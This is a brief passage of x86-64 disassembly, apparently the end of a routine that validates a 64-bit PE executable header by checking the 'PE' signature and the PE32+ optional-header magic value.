cmp eax, 0x4550
je 0x2fc4da621
mov eax, 0
jmp 0x2fc4da646
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4da641
mov eax, 0
jmp 0x2fc4da646
mov eax, 1
add rsp, 0x20
pop rbp
ret